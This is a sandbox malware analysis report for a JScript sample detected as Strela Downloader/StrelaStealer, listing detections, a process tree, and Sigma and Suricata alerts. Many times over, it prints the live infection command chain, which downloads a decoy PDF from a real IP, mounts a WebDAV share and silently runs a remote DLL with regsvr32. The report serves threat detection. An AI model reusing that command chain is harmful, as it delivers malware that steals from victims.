Edit tour

Windows Analysis Report
2948124376300195806.js

Overview

General Information

Sample name:	2948124376300195806.js
Analysis ID:	1588967
MD5:	0b80b9e1b9ce5d7b2a26d14c18c47f18
SHA1:	e55fd592d0de0966235e1bc3256ae20e99b90200
SHA256:	fa685602c0787c9ed3452598d3fb40d6a679d246863eb1b51239618ceba49449
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1160 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2948124376300195806.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3340 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4040 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6816 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5852 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3352 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1636,i,14765635454801674691,12305855490842319476,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4924 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5828 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3628 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1160	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3340, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4040, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3340, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4040, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2948124376300195806.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2948124376300195806.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2948124376300195806.js", ProcessId: 1160, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5828, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2948124376300195806.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1160, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, ProcessId: 3340, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2948124376300195806.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1160, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, ProcessId: 3340, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2948124376300195806.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1160, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, ProcessId: 3340, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2948124376300195806.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1160, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, ProcessId: 3340, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2948124376300195806.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1160, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, ProcessId: 3340, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2948124376300195806.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2948124376300195806.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2948124376300195806.js", ProcessId: 1160, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3340, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4040, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4924, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5828, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3628, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4924, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5828, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2948124376300195806.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1160, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll, ProcessId: 3340, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:47:06.368535+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:47:08.799926+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:47:06.368535+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 2948124376300195806.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2948124376300195806.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2948124376300195806.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49706 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49705 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:47:06 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

